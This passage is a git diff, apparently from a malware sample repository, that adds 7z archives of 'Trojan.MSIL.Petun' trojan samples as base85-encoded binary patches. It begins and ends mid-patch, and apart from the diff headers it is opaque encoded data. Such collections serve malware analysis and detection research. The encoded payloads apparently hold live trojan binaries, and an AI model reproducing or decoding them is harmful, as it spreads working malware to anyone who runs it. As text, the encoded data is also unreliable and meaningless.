z4ES|7s$Gx4pimn=TVH-Puh3DTY)Lle4ZhCjU0(Ko`?VNn!Tddu{g58%SR87Q#J@?a?`^8oRE0YLy8+EzPU(<*aCc7bx6-ypX^=yE~QJBge6iv;y0ke z8RrWsk9Yd1{cQpNNTdP0I|h7k06-x$jwXZ3P1D8E#@K;FSwlgI188k$C#lWh2GyGr z^l`WLV9X>J{u1pe7K0S2&gMAyIbYGF$5{B2Y0NGLGJ&>TVnGixVWq*1L7fwY8(5W8 zC9<#-Ox$p7{mbjc4WH4|Jn=R^tjtP{FtH#_&6AvI7ZEg=ScDv3{#uue*|rOj_W_*A z3a2n8(G0Iv(|38C|I+F;zoFwyl#dUgT*6} z7tk7fFl_H*(93gxjDTg=Vz7?O3cs%;j{#4wo{!9mup4KenR`09e=<^?;WG30a2lJmvWfhu4InQzaGF zGXtb%|I%anR$_naDh*$W&RUzmHQo}c0RiIN`x7^!)VNB zW#}oZIwv6&E*g1iL@78q%~K>4qP|nfzP=%0(r#`cWlpezz66cYyQxk+RVpD$0b3;- zK76!oB%{j+4x(CWQ?hM+%qZe%h4UE(rKaM$(JBW=ryt+lss$K*^;^mE)@b)};kmPU z<~i*NQ{$Y^Ts@?$NY&ZEEubLaGqwQfsB{$ zTg@fuO+aWf?@MlbJn)%wI>_(JKF>47LABW z4<5PN-NaDN~&z-_9WE%5DSU%IjwV)nr zD>5NXHcuqm5~vjR9vg@Vr^WVYyt8wy8A(xO-XxDSCAZkdwiI&uYQldYnz*>gUm4j# zbAWhscS-e>4+&AHbA_u|QPRw*_x0rjn>VAKdr1b~Mi>u?)@vD=27*TqQ9<=`Pc|FU8?zg6Ooa>; z(kW#Lu0f!2*xHBDMJ<*?k`a16PD}-DbgEtt(l4<{vkHOK@bYzI{0MYKb;iQz_xj`J zUxw@QyH%v82f1r0#k^aY?pet-4D1ei$M;Lckv2lTDtP6Rc1mrI_r_5I{*jx*BJVS1 zK+nsTpc9VxPm|5n&Y?U`*>Q>sJ8U%i&Am}5@bzAwLV6|K3pz5mTp3o_t%K-ZR$4r{ zD?rYNfL?3xf`hJ>)`E1t=XM4-lVrhtL{m6pa?fyR14O{(Gh@0&F6aB*8kyt%})Gh$lNw5LKK1f4i2#F#-^AwXH6lDrHP@N;Uy zwD>W*_lx((C3xFkbOL61W_H;V%&IX?xW!S7b2qj&mm$`xAIe znYeYj!J5=567!)4%_>U~OL`Tb4bm`XDqP(zCTFv^M3)`Qcrr8>yc*L@%CG1Sk9y1p z{GYe>X;YOO@jBiUE>UTgx6hq-dg1uOVEBgU#`$f^nss7w9T^{1QRVP#xRLE!3!h?H z-F|rZ4IyE1Ib&lkW~;3Bq#y0ZA<;d{ImriMhGOS4hh;n1M?n-lKIp}AKN5Y#XjU|! z)TrB9Lwt5sXkF+Ynv%i5iUa<12ucSX*6-KzzrO$1ktiyF`maA=pyU7C?vA#pW)=n) z8I}EG-7HMmE7-sb=>0zlemyk&nSdLrrN565e}~K+kMe&a|Gd9M1^kSB303G1tN}?VnoxYkc@K_7cj^VdC$w4Jm)LJE!5F75QBv^fxv(w6YfHzvM%|1IG^e zg3t*q_x}d}U5fNK_;V}V@h7TZP36yh(j@qW>L-i&yDnXs|L9WU@;?XWN9}%f6F>8GK?Aw}!(050tU4I^ xFZKS3?AO)wXEH9Rlld(fbZz||6Yc1a^8JSi0U9BGkG)X=8_<~mNAdmczW~r)As_$% literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-03.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-03.7z new file mode 100644 index 0000000000000000000000000000000000000000..e571b8fed23c13ec284ea692ff265691cc1e0e58 GIT binary patch literal 17244 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 F{|`{H9aR7T literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-4.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-4.7z new file mode 100644 index 0000000000000000000000000000000000000000..b7b6b3a41f5834c70c6226245a3df5c5113e7fe4 GIT binary patch literal 17198 zcmaKT1DI^fvSzz?+qS!R+qP}nwrzX2ZF9G6+qQSx#`L*&-poC3&YQKqs;sp#>;JP> zWJYB~M#xD5gFpiObzHO}D1+HTv86F|ylU@ub~Lv! z#aDE9bTYQ4Q7|^KGB$KFx3%GffrNq7)c@bjIq?7Miz>zrj^EYfgmg6jIteMXVIbwc zIg!87fBcJ6@a5C$1rPv02N(bV;`^?lnt;58@Hdgng@C%lvt zx?U|*&Y}3e>@=7TAx4ED2$*|u`G<5y8dy##0$*N_`mAIu!K&XQ&ji8KPH%UbQ({QT zrA!G1@Xv>fLB9`&eq#S<5JA`q!pg8u?(XXs@DZSgPrj>L_hQc|ga_+%p^IwMi5oDa z#nhJW&_{0Q#D}gf&MIZb3Aw?*ZkY(TA3+}ab6Vx{z8HrpMR(x_R;3|*pkpUqszaSt zr(qi=KxB79DIKx+n474d7X$$D{=*Pv0g#7S-!<&8I;@oLuuPFGm_( zDadY|WB!BTR9v4`-@S~*FZ<_wsh>U#aP8Vh{@peK})-=tcG^>t6Ol_l7!a%&PFXA}+T z=Eb&E@G)zpVPDpc9Kl~PbdJ=uyFQc!=Xh-nro|u~ZYrN}uboE7sPd zdu0!f)C3}s?rpxBUQ{HxHd9C~3Dpw5p331;o7JS>4sN;&?%M*VswYxMGMMm@eS z&!b~CX=cLoOJq(A^Xul!R#Q_#6-%?e)y53zP~Np56Ro^K)EH^=>TKgtN`qM~*7)>sG>4zXeM3t!DwXx(d_X zxVDA<{wBT&Tm32h#lMvfTA<3;er8kU=b%b!i)K}~suc^zmGZjh=95ds;H~GNgnf-_ zMY2bGQb>;$edX^{pmFP>dT-}TfUkM3^maO^Q%~ipB`cXB*1-&{DrS}8XqDe(=8NGf9M<~3cnr<72ltXGL$JWbTYZO%|= zZS``|O{XXOSwd!c`xL&Vt8lMsj>IP^ZR!+v_avU!G&rgm!8%ad+MSHl!;8Z*AVw9j z*O&=fY^i0gh}XU5Y==UQB;vtc#j zBMQn^f`>v***X&5uTLo>7@8lz&B7w~%X2*rhw7k>A77qQ+HUdGTab6T5gYw7xx>kgQn&c$|^t@jnR~>Pm3IYFX^m_M1$J|`mV&-QFV%580$4Hb{2;v)`V!a*A2@v}R|O5wk3@H|pbFbp2T@{n5!zWC5>U3JxfvpOg%kL-BK-y8#NPM}2Ub*1 zL7`!57k&a(LiOj+_`}8fwUsZ6G(RlI^2wf22uMja=l0f`hnH87hl;7AU|`b|KqGA6 z<&scy<8MzW69g=NE>q91`NKIn1v?#F->>J*T^XNSRkNEH{l8Lgo_4MzNq(2#iyoWs;Df2Pio8Fg zu3}`&Uv+Qh496zLxU;! z(MO@71;iFB4X-A>54LSTQG$Qq(Q4fQS+6nRO^WNh)YYu*m@~R$owG}&NU6!m%mk~o zm^G)Eu2H8ZY&05JHd_sHm7tQ!j>HTrQW?FcR%d(F@bDNpZq&KMzu#2Cobc7MNTjCJ z4ot@IqXl=_=#&l#j8hgF%(7~BY(@+|C>A*<4$sl6@Nm=opnLKU-rXBQ0@5lra!$F?OX%uF3ftGFzt|Z{MQZrm5t%%4eWH#T_^HEE`)Xw%rs}zR|;I(HCr^`fB zn841#4=Jv$0X?qv&1w=d&#qvhay?J|)cdnjzKmO(J+y~>Ksk^jJl~XU=9h+e>?u3n zOSkrFxC{zS!~mQ4^CgVj9TY|w)|nAZ7s&;08t}Nt$nk`M#k>pXxxaC9bO4NRt44@L zh1QNaq4+i_Ht|*xdvll%_Gd1ech_v*%#f6G~g-LwmyBsc<&e*P@a{C zMfj?X+7yMRGHx8&rbL%L0=ky;a`7N0W=C02)dC{*c2Wv1eS+xuGr#j#GukDC?nrfk 